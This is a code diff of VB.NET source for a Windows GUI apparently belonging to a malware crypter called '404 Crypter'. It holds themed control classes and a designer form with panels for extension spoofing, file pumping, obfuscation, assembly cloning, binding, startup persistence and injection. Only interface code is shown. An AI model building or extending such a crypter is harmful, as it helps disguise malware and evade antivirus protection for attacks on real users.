||||
|
||||
#Region " Gestion du New "
|
||||
|
||||
Sub New()
|
||||
Me.Size = New Size(130, 40)
|
||||
Font = New Font("Verdana", 9, FontStyle.Regular)
|
||||
DoubleBuffered = True
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Propriétés "
|
||||
|
||||
Public Overrides Property Text As String
|
||||
Get
|
||||
Return MyBase.Text
|
||||
End Get
|
||||
Set(ByVal Value As String)
|
||||
MyBase.Text = Value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion et création du design "
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
MyBase.OnPaint(e)
|
||||
e.Graphics.SmoothingMode = SmoothingMode.Default
|
||||
|
||||
'GESTION DES ETATS
|
||||
|
||||
Dim Couleur_Degrade1 As New Color
|
||||
Dim Couleur_Degrade2 As New Color
|
||||
|
||||
Dim Couleur_BordureInt_Haut As New Color
|
||||
Dim Couleur_BordureInt_Bas As New Color
|
||||
|
||||
Select Case Etat_Bouton
|
||||
Case Etat.None
|
||||
Couleur_Degrade1 = Couleur_Degrade1_None
|
||||
Couleur_Degrade2 = Couleur_Degrade2_None
|
||||
|
||||
Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_None
|
||||
Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_None
|
||||
Case Etat.Over
|
||||
Couleur_Degrade1 = Couleur_Degrade1_Over
|
||||
Couleur_Degrade2 = Couleur_Degrade2_Over
|
||||
|
||||
Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_Over
|
||||
Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_Over
|
||||
Case Etat.Down
|
||||
Couleur_Degrade1 = Couleur_Degrade1_Down
|
||||
Couleur_Degrade2 = Couleur_Degrade2_Down
|
||||
|
||||
Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_Down
|
||||
Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_Down
|
||||
End Select
|
||||
|
||||
'BACKGROUND
|
||||
|
||||
Dim Rectangle_Haut As New Rectangle(0, 0, Width, Height)
|
||||
|
||||
Dim Haut_Brush As LinearGradientBrush = New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical)
|
||||
e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut)
|
||||
Haut_Brush.Dispose()
|
||||
|
||||
'ECRITURE
|
||||
|
||||
Dim StringFormat As New StringFormat
|
||||
StringFormat.LineAlignment = StringAlignment.Center
|
||||
StringFormat.Alignment = StringAlignment.Center
|
||||
|
||||
Dim Rectangle_Ecriture As New Rectangle(0, 0, Width, Height)
|
||||
|
||||
e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat)
|
||||
|
||||
'BORDURE INT
|
||||
|
||||
Dim Rectangle_BordureInt As New Rectangle(1, 1, Width - 3, Height - 3)
|
||||
Dim Rectangle_BordureInt_AvecBordure As New Rectangle(0, 0, Width - 1, Height - 1)
|
||||
|
||||
Dim Brush_BordureInt As New LinearGradientBrush(Rectangle_BordureInt_AvecBordure, Couleur_BordureInt_Haut, Couleur_BordureInt_Bas, LinearGradientMode.Vertical)
|
||||
e.Graphics.DrawRectangle(New Pen(Brush_BordureInt, 1), Rectangle_BordureInt)
|
||||
|
||||
'BORDURE EXT
|
||||
|
||||
Dim Rectangle_BordureExt As New Rectangle(0, 0, Width - 1, Height - 1)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt)
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion des actions "
|
||||
|
||||
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
|
||||
MyBase.OnMouseEnter(e)
|
||||
Etat_Bouton = Etat.Over
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
|
||||
MyBase.OnMouseLeave(e)
|
||||
Etat_Bouton = Etat.None
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseDown(e)
|
||||
Etat_Bouton = Etat.Down
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseUp(e)
|
||||
Etat_Bouton = Etat.Over
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnResize(ByVal e As System.EventArgs)
|
||||
MyBase.OnResize(e)
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
End Class
|
||||
|
||||
<DefaultEvent("CheckedChanged")> _
|
||||
Class DeumosCheckBox
|
||||
Inherits ThemeControl153
|
||||
|
||||
Sub New()
|
||||
LockHeight = 16
|
||||
|
||||
SetColor("Border", 26, 26, 26)
|
||||
SetColor("Gloss1", 35, Color.White)
|
||||
SetColor("Gloss2", 5, Color.White)
|
||||
SetColor("Checked1", Color.Transparent)
|
||||
SetColor("Checked2", 40, Color.White)
|
||||
SetColor("Unchecked1", 8, 8, 8)
|
||||
SetColor("Unchecked2", 16, 16, 16)
|
||||
SetColor("Glow", 5, Color.White)
|
||||
SetColor("Text", Color.White)
|
||||
SetColor("InnerOutline", Color.Black)
|
||||
SetColor("OuterOutline", Color.Black)
|
||||
End Sub
|
||||
|
||||
Private C1, C2, C3, C4, C5, C6 As Color
|
||||
Private P1, P2, P3 As Pen
|
||||
Private B1, B2 As SolidBrush
|
||||
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("Gloss1")
|
||||
C2 = GetColor("Gloss2")
|
||||
C3 = GetColor("Checked1")
|
||||
C4 = GetColor("Checked2")
|
||||
C5 = GetColor("Unchecked1")
|
||||
C6 = GetColor("Unchecked2")
|
||||
|
||||
P1 = New Pen(GetColor("Border"))
|
||||
P2 = New Pen(GetColor("InnerOutline"))
|
||||
P3 = New Pen(GetColor("OuterOutline"))
|
||||
|
||||
B1 = New SolidBrush(GetColor("Glow"))
|
||||
B2 = New SolidBrush(GetColor("Text"))
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(BackColor)
|
||||
|
||||
DrawBorders(P1, 0, 0, _Field, _Field, 1)
|
||||
DrawGradient(C1, C2, 0, 0, _Field, _Field \ 2)
|
||||
|
||||
If _Checked Then
|
||||
DrawGradient(C3, C4, 2, 2, _Field - 4, _Field - 4)
|
||||
Else
|
||||
DrawGradient(C5, C6, 2, 2, _Field - 4, _Field - 4, 90)
|
||||
End If
|
||||
|
||||
If State = MouseState.Over Then
|
||||
G.FillRectangle(B1, 0, 0, _Field, _Field)
|
||||
End If
|
||||
|
||||
DrawText(B2, HorizontalAlignment.Left, _Field + 3, 0)
|
||||
|
||||
DrawBorders(P2, 0, 0, _Field, _Field, 2)
|
||||
DrawBorders(P3, 0, 0, _Field, _Field)
|
||||
|
||||
DrawCorners(BackColor, 0, 0, _Field, _Field)
|
||||
End Sub
|
||||
|
||||
Private _Field As Integer = 16
|
||||
Property Field() As Integer
|
||||
Get
|
||||
Return _Field
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
If value < 4 Then Return
|
||||
_Field = value
|
||||
LockHeight = value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Checked As Boolean
|
||||
Property Checked() As Boolean
|
||||
Get
|
||||
Return _Checked
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Checked = value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
_Checked = Not _Checked
|
||||
RaiseEvent CheckedChanged(Me)
|
||||
MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
|
||||
Event CheckedChanged(ByVal sender As Object)
|
||||
|
||||
End Class
|
||||
|
||||
<DefaultEvent("CheckedChanged")> _
|
||||
Class DeumosRadioButton
|
||||
Inherits ThemeControl153
|
||||
|
||||
Sub New()
|
||||
LockHeight = 16
|
||||
|
||||
SetColor("Gloss1", 38, Color.White)
|
||||
SetColor("Gloss2", 5, Color.White)
|
||||
SetColor("Checked1", Color.Transparent)
|
||||
SetColor("Checked2", 40, Color.White)
|
||||
SetColor("Unchecked1", 8, 8, 8)
|
||||
SetColor("Unchecked2", 16, 16, 16)
|
||||
SetColor("Glow", 5, Color.White)
|
||||
SetColor("Text", Color.White)
|
||||
SetColor("InnerOutline", Color.Black)
|
||||
SetColor("OuterOutline", 15, Color.White)
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub ColorHook()
|
||||
C1 = GetColor("Gloss1")
|
||||
C2 = GetColor("Gloss2")
|
||||
C3 = GetColor("Checked1")
|
||||
C4 = GetColor("Checked2")
|
||||
C5 = GetColor("Unchecked1")
|
||||
C6 = GetColor("Unchecked2")
|
||||
|
||||
B1 = New SolidBrush(GetColor("Glow"))
|
||||
B2 = New SolidBrush(GetColor("Text"))
|
||||
|
||||
P1 = New Pen(GetColor("InnerOutline"))
|
||||
P2 = New Pen(GetColor("OuterOutline"))
|
||||
End Sub
|
||||
|
||||
Private C1, C2, C3, C4, C5, C6 As Color
|
||||
Private P1, P2 As Pen
|
||||
Private B1, B2 As SolidBrush
|
||||
|
||||
Private R1, R2 As Rectangle
|
||||
Private G1 As LinearGradientBrush
|
||||
|
||||
Protected Overrides Sub PaintHook()
|
||||
G.Clear(BackColor)
|
||||
|
||||
G.SmoothingMode = SmoothingMode.HighQuality
|
||||
R1 = New Rectangle(4, 2, _Field - 8, (_Field \ 2) - 1)
|
||||
R2 = New Rectangle(4, 2, _Field - 8, (_Field \ 2))
|
||||
|
||||
G1 = New LinearGradientBrush(R2, C1, C2, 90S)
|
||||
G.FillEllipse(G1, R1)
|
||||
|
||||
R1 = New Rectangle(2, 2, _Field - 4, _Field - 4)
|
||||
|
||||
If _Checked Then
|
||||
G1 = New LinearGradientBrush(R1, C3, C4, 90S)
|
||||
Else
|
||||
G1 = New LinearGradientBrush(R1, C5, C6, 90S)
|
||||
End If
|
||||
G.FillEllipse(G1, R1)
|
||||
|
||||
If State = MouseState.Over Then
|
||||
R1 = New Rectangle(2, 2, _Field - 4, _Field - 4)
|
||||
G.FillEllipse(B1, R1)
|
||||
End If
|
||||
|
||||
DrawText(B2, HorizontalAlignment.Left, _Field + 3, 0)
|
||||
|
||||
G.DrawEllipse(P1, 2, 2, _Field - 4, _Field - 4)
|
||||
G.DrawEllipse(P2, 1, 1, _Field - 2, _Field - 2)
|
||||
|
||||
End Sub
|
||||
|
||||
Private _Field As Integer = 16
|
||||
Property Field() As Integer
|
||||
Get
|
||||
Return _Field
|
||||
End Get
|
||||
Set(ByVal value As Integer)
|
||||
If value < 4 Then Return
|
||||
_Field = value
|
||||
LockHeight = value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Checked As Boolean
|
||||
Property Checked() As Boolean
|
||||
Get
|
||||
Return _Checked
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Checked = value
|
||||
InvalidateControls()
|
||||
RaiseEvent CheckedChanged(Me)
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
If Not _Checked Then Checked = True
|
||||
MyBase.OnMouseDown(e)
|
||||
End Sub
|
||||
|
||||
Event CheckedChanged(ByVal sender As Object)
|
||||
|
||||
Protected Overrides Sub OnCreation()
|
||||
InvalidateControls()
|
||||
End Sub
|
||||
|
||||
Private Sub InvalidateControls()
|
||||
If Not IsHandleCreated OrElse Not _Checked Then Return
|
||||
|
||||
For Each C As Control In Parent.Controls
|
||||
If C IsNot Me AndAlso TypeOf C Is DeumosRadioButton Then
|
||||
DirectCast(C, DeumosRadioButton).Checked = False
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
+854
@@ -0,0 +1,854 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form remplace la méthode Dispose pour nettoyer la liste des composants.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Requise par le Concepteur Windows Form
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form
|
||||
'Elle peut être modifiée à l'aide du Concepteur Windows Form.
|
||||
'Ne la modifiez pas à l'aide de l'éditeur de code.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
|
||||
Me.DesignForm1 = New Crypter.DesignForm()
|
||||
Me.DesignGroupBox4 = New Crypter.DesignGroupBox()
|
||||
Me.DesignButton10 = New Crypter.DesignButton()
|
||||
Me.Label6 = New System.Windows.Forms.Label()
|
||||
Me.TextBox5 = New System.Windows.Forms.TextBox()
|
||||
Me.PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Me.DesignGroupBox3 = New Crypter.DesignGroupBox()
|
||||
Me.DesignButton9 = New Crypter.DesignButton()
|
||||
Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown()
|
||||
Me.DeumosRadioButton2 = New Crypter.DeumosRadioButton()
|
||||
Me.DeumosRadioButton1 = New Crypter.DeumosRadioButton()
|
||||
Me.DesignGroupBox2 = New Crypter.DesignGroupBox()
|
||||
Me.DesignButton8 = New Crypter.DesignButton()
|
||||
Me.DesignButton6 = New Crypter.DesignButton()
|
||||
Me.TextBox3 = New System.Windows.Forms.TextBox()
|
||||
Me.grpClone = New Crypter.DesignGroupBox()
|
||||
Me.txtClone = New System.Windows.Forms.TextBox()
|
||||
Me.DesignButton5 = New Crypter.DesignButton()
|
||||
Me.DesignButton7 = New Crypter.DesignButton()
|
||||
Me.btnEncrypt = New Crypter.DesignButton()
|
||||
Me.grpSetting = New Crypter.DesignGroupBox()
|
||||
Me.chkrunOnce = New Crypter.DeumosCheckBox()
|
||||
Me.chkAssembly = New Crypter.DeumosCheckBox()
|
||||
Me.chkStartup = New Crypter.DeumosCheckBox()
|
||||
Me.chkBinder = New Crypter.DeumosCheckBox()
|
||||
Me.chkIcon = New Crypter.DeumosCheckBox()
|
||||
Me.grpInject = New Crypter.DesignGroupBox()
|
||||
Me.chkHide = New Crypter.DeumosCheckBox()
|
||||
Me.chkRoot = New Crypter.DeumosCheckBox()
|
||||
Me.TextBox8 = New System.Windows.Forms.TextBox()
|
||||
Me.grpStartup = New Crypter.DesignGroupBox()
|
||||
Me.txtKeyname = New System.Windows.Forms.TextBox()
|
||||
Me.txtFilename = New System.Windows.Forms.TextBox()
|
||||
Me.txtFolder = New System.Windows.Forms.TextBox()
|
||||
Me.Label3 = New System.Windows.Forms.Label()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.grpBinder = New Crypter.DesignGroupBox()
|
||||
Me.txtBinder = New System.Windows.Forms.TextBox()
|
||||
Me.DesignButton3 = New Crypter.DesignButton()
|
||||
Me.grpIcon = New Crypter.DesignGroupBox()
|
||||
Me.PictureBox2 = New System.Windows.Forms.PictureBox()
|
||||
Me.Label4 = New System.Windows.Forms.Label()
|
||||
Me.TextBox4 = New System.Windows.Forms.TextBox()
|
||||
Me.DesignButton4 = New Crypter.DesignButton()
|
||||
Me.DesignGroupBox1 = New Crypter.DesignGroupBox()
|
||||
Me.DesignButton2 = New Crypter.DesignButton()
|
||||
Me.TextBox2 = New System.Windows.Forms.TextBox()
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox()
|
||||
Me.DesignButton1 = New Crypter.DesignButton()
|
||||
Me.DesignControlBox1 = New Crypter.DesignControlBox()
|
||||
Me.DeumosCheckBox1 = New Crypter.DeumosCheckBox()
|
||||
Me.DeumosCheckBox2 = New Crypter.DeumosCheckBox()
|
||||
Me.DesignForm1.SuspendLayout()
|
||||
Me.DesignGroupBox4.SuspendLayout()
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.DesignGroupBox3.SuspendLayout()
|
||||
CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.DesignGroupBox2.SuspendLayout()
|
||||
Me.grpClone.SuspendLayout()
|
||||
Me.grpSetting.SuspendLayout()
|
||||
Me.grpInject.SuspendLayout()
|
||||
Me.grpStartup.SuspendLayout()
|
||||
Me.grpBinder.SuspendLayout()
|
||||
Me.grpIcon.SuspendLayout()
|
||||
CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.DesignGroupBox1.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'DesignForm1
|
||||
'
|
||||
Me.DesignForm1.Controls.Add(Me.DesignGroupBox4)
|
||||
Me.DesignForm1.Controls.Add(Me.PictureBox1)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignGroupBox3)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignGroupBox2)
|
||||
Me.DesignForm1.Controls.Add(Me.grpClone)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignButton7)
|
||||
Me.DesignForm1.Controls.Add(Me.btnEncrypt)
|
||||
Me.DesignForm1.Controls.Add(Me.grpSetting)
|
||||
Me.DesignForm1.Controls.Add(Me.grpInject)
|
||||
Me.DesignForm1.Controls.Add(Me.grpStartup)
|
||||
Me.DesignForm1.Controls.Add(Me.grpBinder)
|
||||
Me.DesignForm1.Controls.Add(Me.grpIcon)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignGroupBox1)
|
||||
Me.DesignForm1.Controls.Add(Me.DesignControlBox1)
|
||||
Me.DesignForm1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.DesignForm1.Font = New System.Drawing.Font("Verdana", 10.0!)
|
||||
Me.DesignForm1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.DesignForm1.Name = "DesignForm1"
|
||||
Me.DesignForm1.Padding = New System.Windows.Forms.Padding(2, 36, 2, 2)
|
||||
Me.DesignForm1.Size = New System.Drawing.Size(558, 595)
|
||||
Me.DesignForm1.TabIndex = 0
|
||||
Me.DesignForm1.Text = "404 Crypter"
|
||||
'
|
||||
'DesignGroupBox4
|
||||
'
|
||||
Me.DesignGroupBox4.Controls.Add(Me.DesignButton10)
|
||||
Me.DesignGroupBox4.Controls.Add(Me.Label6)
|
||||
Me.DesignGroupBox4.Controls.Add(Me.TextBox5)
|
||||
Me.DesignGroupBox4.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.DesignGroupBox4.Location = New System.Drawing.Point(414, 372)
|
||||
Me.DesignGroupBox4.Name = "DesignGroupBox4"
|
||||
Me.DesignGroupBox4.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.DesignGroupBox4.Size = New System.Drawing.Size(133, 96)
|
||||
Me.DesignGroupBox4.TabIndex = 15
|
||||
Me.DesignGroupBox4.Text = "Extension spoofer"
|
||||
'
|
||||
'DesignButton10
|
||||
'
|
||||
Me.DesignButton10.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton10.Location = New System.Drawing.Point(8, 70)
|
||||
Me.DesignButton10.Name = "DesignButton10"
|
||||
Me.DesignButton10.Size = New System.Drawing.Size(114, 18)
|
||||
Me.DesignButton10.TabIndex = 10
|
||||
Me.DesignButton10.Text = "Spoof it"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Me.Label6.AutoSize = True
|
||||
Me.Label6.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label6.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.Label6.Location = New System.Drawing.Point(6, 27)
|
||||
Me.Label6.Name = "Label6"
|
||||
Me.Label6.Size = New System.Drawing.Size(71, 13)
|
||||
Me.Label6.TabIndex = 9
|
||||
Me.Label6.Text = "Extension :"
|
||||
'
|
||||
'TextBox5
|
||||
'
|
||||
Me.TextBox5.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox5.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox5.Location = New System.Drawing.Point(9, 43)
|
||||
Me.TextBox5.Name = "TextBox5"
|
||||
Me.TextBox5.Size = New System.Drawing.Size(114, 21)
|
||||
Me.TextBox5.TabIndex = 7
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
Me.PictureBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.PictureBox1.Image = Global.Crypter.My.Resources.Resources.Capture
|
||||
Me.PictureBox1.Location = New System.Drawing.Point(9, 39)
|
||||
Me.PictureBox1.Name = "PictureBox1"
|
||||
Me.PictureBox1.Size = New System.Drawing.Size(540, 138)
|
||||
Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize
|
||||
Me.PictureBox1.TabIndex = 14
|
||||
Me.PictureBox1.TabStop = False
|
||||
'
|
||||
'DesignGroupBox3
|
||||
'
|
||||
Me.DesignGroupBox3.Controls.Add(Me.DesignButton9)
|
||||
Me.DesignGroupBox3.Controls.Add(Me.NumericUpDown1)
|
||||
Me.DesignGroupBox3.Controls.Add(Me.DeumosRadioButton2)
|
||||
Me.DesignGroupBox3.Controls.Add(Me.DeumosRadioButton1)
|
||||
Me.DesignGroupBox3.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.DesignGroupBox3.Location = New System.Drawing.Point(414, 266)
|
||||
Me.DesignGroupBox3.Name = "DesignGroupBox3"
|
||||
Me.DesignGroupBox3.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.DesignGroupBox3.Size = New System.Drawing.Size(133, 100)
|
||||
Me.DesignGroupBox3.TabIndex = 13
|
||||
Me.DesignGroupBox3.Text = "Pump my file"
|
||||
'
|
||||
'DesignButton9
|
||||
'
|
||||
Me.DesignButton9.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton9.Location = New System.Drawing.Point(9, 72)
|
||||
Me.DesignButton9.Name = "DesignButton9"
|
||||
Me.DesignButton9.Size = New System.Drawing.Size(114, 18)
|
||||
Me.DesignButton9.TabIndex = 3
|
||||
Me.DesignButton9.Text = "Pump "
|
||||
'
|
||||
'NumericUpDown1
|
||||
'
|
||||
Me.NumericUpDown1.Location = New System.Drawing.Point(8, 38)
|
||||
Me.NumericUpDown1.Minimum = New Decimal(New Integer() {5, 0, 0, 0})
|
||||
Me.NumericUpDown1.Name = "NumericUpDown1"
|
||||
Me.NumericUpDown1.Size = New System.Drawing.Size(74, 21)
|
||||
Me.NumericUpDown1.TabIndex = 2
|
||||
Me.NumericUpDown1.Value = New Decimal(New Integer() {5, 0, 0, 0})
|
||||
'
|
||||
'DeumosRadioButton2
|
||||
'
|
||||
Me.DeumosRadioButton2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.DeumosRadioButton2.Checked = False
|
||||
Me.DeumosRadioButton2.Customization = "////Jv///wX///8A////KAgICP8QEBD/////Bf////8AAAD/////Dw=="
|
||||
Me.DeumosRadioButton2.Field = 16
|
||||
Me.DeumosRadioButton2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.DeumosRadioButton2.Image = Nothing
|
||||
Me.DeumosRadioButton2.Location = New System.Drawing.Point(87, 53)
|
||||
Me.DeumosRadioButton2.Name = "DeumosRadioButton2"
|
||||
Me.DeumosRadioButton2.NoRounding = False
|
||||
Me.DeumosRadioButton2.Size = New System.Drawing.Size(41, 16)
|
||||
Me.DeumosRadioButton2.TabIndex = 1
|
||||
Me.DeumosRadioButton2.Text = "MB"
|
||||
Me.DeumosRadioButton2.Transparent = False
|
||||
'
|
||||
'DeumosRadioButton1
|
||||
'
|
||||
Me.DeumosRadioButton1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.DeumosRadioButton1.Checked = False
|
||||
Me.DeumosRadioButton1.Customization = "////Jv///wX///8A////KAgICP8QEBD/////Bf////8AAAD/////Dw=="
|
||||
Me.DeumosRadioButton1.Field = 16
|
||||
Me.DeumosRadioButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.DeumosRadioButton1.Image = Nothing
|
||||
Me.DeumosRadioButton1.Location = New System.Drawing.Point(87, 30)
|
||||
Me.DeumosRadioButton1.Name = "DeumosRadioButton1"
|
||||
Me.DeumosRadioButton1.NoRounding = False
|
||||
Me.DeumosRadioButton1.Size = New System.Drawing.Size(41, 16)
|
||||
Me.DeumosRadioButton1.TabIndex = 0
|
||||
Me.DeumosRadioButton1.Text = "KB"
|
||||
Me.DeumosRadioButton1.Transparent = False
|
||||
'
|
||||
'DesignGroupBox2
|
||||
'
|
||||
Me.DesignGroupBox2.Controls.Add(Me.DesignButton8)
|
||||
Me.DesignGroupBox2.Controls.Add(Me.DesignButton6)
|
||||
Me.DesignGroupBox2.Controls.Add(Me.TextBox3)
|
||||
Me.DesignGroupBox2.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.DesignGroupBox2.Location = New System.Drawing.Point(414, 180)
|
||||
Me.DesignGroupBox2.Name = "DesignGroupBox2"
|
||||
Me.DesignGroupBox2.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.DesignGroupBox2.Size = New System.Drawing.Size(133, 80)
|
||||
Me.DesignGroupBox2.TabIndex = 12
|
||||
Me.DesignGroupBox2.Text = "Obfuscator"
|
||||
'
|
||||
'DesignButton8
|
||||
'
|
||||
Me.DesignButton8.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton8.Location = New System.Drawing.Point(9, 57)
|
||||
Me.DesignButton8.Name = "DesignButton8"
|
||||
Me.DesignButton8.Size = New System.Drawing.Size(114, 18)
|
||||
Me.DesignButton8.TabIndex = 5
|
||||
Me.DesignButton8.Text = "Obfuscate"
|
||||
'
|
||||
'DesignButton6
|
||||
'
|
||||
Me.DesignButton6.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton6.Location = New System.Drawing.Point(90, 30)
|
||||
Me.DesignButton6.Name = "DesignButton6"
|
||||
Me.DesignButton6.Size = New System.Drawing.Size(38, 21)
|
||||
Me.DesignButton6.TabIndex = 4
|
||||
Me.DesignButton6.Text = "..."
|
||||
'
|
||||
'TextBox3
|
||||
'
|
||||
Me.TextBox3.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox3.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.TextBox3.Location = New System.Drawing.Point(5, 30)
|
||||
Me.TextBox3.Name = "TextBox3"
|
||||
Me.TextBox3.ReadOnly = True
|
||||
Me.TextBox3.Size = New System.Drawing.Size(77, 21)
|
||||
Me.TextBox3.TabIndex = 4
|
||||
Me.TextBox3.Text = "Browse File"
|
||||
'
|
||||
'grpClone
|
||||
'
|
||||
Me.grpClone.Controls.Add(Me.txtClone)
|
||||
Me.grpClone.Controls.Add(Me.DesignButton5)
|
||||
Me.grpClone.Enabled = False
|
||||
Me.grpClone.Font = New System.Drawing.Font("Verdana", 8.25!)
|
||||
Me.grpClone.Location = New System.Drawing.Point(232, 401)
|
||||
Me.grpClone.Name = "grpClone"
|
||||
Me.grpClone.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2)
|
||||
Me.grpClone.Size = New System.Drawing.Size(176, 81)
|
||||
Me.grpClone.TabIndex = 11
|
||||
Me.grpClone.Text = "Clone Assembly"
|
||||
'
|
||||
'txtClone
|
||||
'
|
||||
Me.txtClone.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer))
|
||||
Me.txtClone.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.txtClone.ForeColor = System.Drawing.Color.DarkGray
|
||||
Me.txtClone.Location = New System.Drawing.Point(11, 39)
|
||||
Me.txtClone.Name = "txtClone"
|
||||
Me.txtClone.ReadOnly = True
|
||||
Me.txtClone.Size = New System.Drawing.Size(111, 21)
|
||||
Me.txtClone.TabIndex = 3
|
||||
Me.txtClone.Text = "Browse Assembly"
|
||||
'
|
||||
'DesignButton5
|
||||
'
|
||||
Me.DesignButton5.Font = New System.Drawing.Font("Verdana", 9.0!)
|
||||
Me.DesignButton5.Location = New System.Drawing.Point(128, 39)
|
||||
Me.DesignButton5.Name = "DesignButton5"
|
||||
